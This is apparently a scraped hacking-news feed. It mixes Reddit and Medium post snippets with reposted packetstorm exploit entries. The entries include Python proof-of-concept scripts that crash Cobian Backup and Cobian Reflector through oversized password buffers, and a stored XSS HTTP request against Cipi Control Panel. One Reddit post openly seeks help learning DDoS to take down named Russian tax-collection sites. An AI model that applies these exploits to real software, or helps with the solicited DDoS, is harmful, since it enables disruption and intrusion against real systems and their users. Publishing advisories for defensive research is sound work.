hacking: security in practice
Ddos Russian taxes sbis.ru

Is there any good way to learn Ddos fast? Because I really wanna help in taking down pages like online.sbis.ru and sbis.ru wich are taxes collection pages and I think they would really hurt the Russian government in economic terms.

If you're Russian and know other pages of that style, please tell us.

submitted by /u/chtulhu37
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

My Pentest Log -8-
https://hcibo.medium.com/my-pentest-log-8-9e5f71106967?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Greetings from Caenopolis to all,Continue reading on Medium » (https://hcibo.medium.com/my-pentest-log-8-9e5f71106967?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

XSS via file upload
https://www.reddit.com/r/Pentesting/comments/t3hfnq/xss_via_file_upload/

Hey all, So I've been recently looking into this form of XSS but I simply can not find a good "how to" in actually creating a file with the code for XSS to then upload onto a site. I have found examples with the string of code to put INTO the file but I haven't found anything that tells me how to actually create the file with the code or what program to create the file with. Does anyone have a step by step for dummies video or blog tutorial they have used? Any help is appreciated. Thanks! submitted by /u/bm0tterre (https://www.reddit.com/user/bm0tterre)
[link] (https://www.reddit.com/r/Pentesting/comments/t3hfnq/xss_via_file_upload/) [comments] (https://www.reddit.com/r/Pentesting/comments/t3hfnq/xss_via_file_upload/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Also known as “white hats,” ethical hackers are security experts that perform these security…

What are the key concepts of ethical hacking?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Yeni Güvenlik Hack Forumu

HGOD veya HG sitesi 2021 yılında günümüzün şartlarına uygun olarak bilişim güvenliği sitesi olarak ortaya çıkmış ve bu doğrultuda…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CASINO ROYALE: 1 VM Walkthrough

https://cdn-images-1.medium.com/max/918/0*E5r9DI7EM7L5hqYW
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to be a hacker. Rather an Anti-hacker.

https://cdn-images-1.medium.com/max/600/1*ePIe0V72LtDP7efogbOxUA.png
I know most of you are totally excited at this topic but it won't be for long. Most of us just wants to know the process of being a hacker…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

AlbusSec:- Penetration-List 04 File Inclusion
https://as745591.medium.com/albussec-penetration-list-04-file-inclusion-5abadc79acd2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Members, I hope that you liked Penetration-List Project, Therefore, I worked hard to complete Penetration-list Project. Firstly, I…Continue reading on Medium » (https://as745591.medium.com/albussec-penetration-list-04-file-inclusion-5abadc79acd2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cobian Backup 11 Gravity 11.2.0.582 Denial Of Service

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Cobian Backup 11 Gravity version 11.2.0.582 suffers from a denial of service vulnerability.

MD5 | c6d7cc4342d77eab82797267d4f55005

Download
# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/cbSetup.exe
# Tested Version: 11.2.0.582
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Backup_11.2.0.582.py
# 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard
# 3.- Open "Cobian Backup 11 Gravity User Interface"
# 4.- Task -> "New task"
# 5.- File -> Source "Add" -> FTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 21
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Ok
# 11.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 800
f = open ("Cobian_Backup_11.2.0.582.txt", "w")
f.write(buffer)
f.close()


Source:packetstormsecurity.com

Exploit Collector
Cipi Control Panel 3.1.15 Cross Site Scripting

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
Cipi Control Panel version 3.1.15 suffers from a cross site scripting vulnerability.

MD5 | b04b829aac8192cfedc8758d2dac7ef8

Download
# Exploit Title: Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 24.02.2022
# Exploit Author: Fikrat Ghuliev (Ghuliev)
# Vendor Homepage: https://cipi.sh/ <https:
# Software Link: https://cipi.sh/ <https:
# Version: 3.1.15
# Tested on: Ubuntu

When the user wants to add a new server on the "Server" panel, in "name"
parameter has not had any filtration.

POST /api/servers HTTP/1.1
Host: IP
Content-Length: 102
Accept: application/json
X-Requested-With: XMLHttpRequest
Authorization: Bearer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
Origin: http://IP
Referer: http://IP/servers
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
"name":"\">",
"ip":"10.10.10.10",
"provider":"local",
"location":"xss test"
}


Source:packetstormsecurity.com

Exploit Collector
Cobian Reflector 0.9.93 RC1 Denial Of Service

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Cobian Reflector version 0.9.93 RC1 suffers from a denial of service vulnerability.

MD5 | 8c7b7b39512ad817357cfa1b8ae0161c

Download
# Exploit Title: Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/crSetup-0.9.93-RC1.exe
# Tested Version: 0.9.93 RC1
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Reflector_0.9.93_RC1.py
# 2.- Open Cobian_Reflector_0.9.93_RC1.txt and copy content to clipboard
# 3.- Open "Cobian Reflector User Interface"
# 4.- Task -> "New task"
# 5.- Files -> Source "Add" -> SFTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 22
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Test settings
# 11.- Yes
# 12.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 8000
f = open ("Cobian_Reflector_0.9.93_RC1.txt", "w")
f.write(buffer)
f.close()


Source:packetstormsecurity.com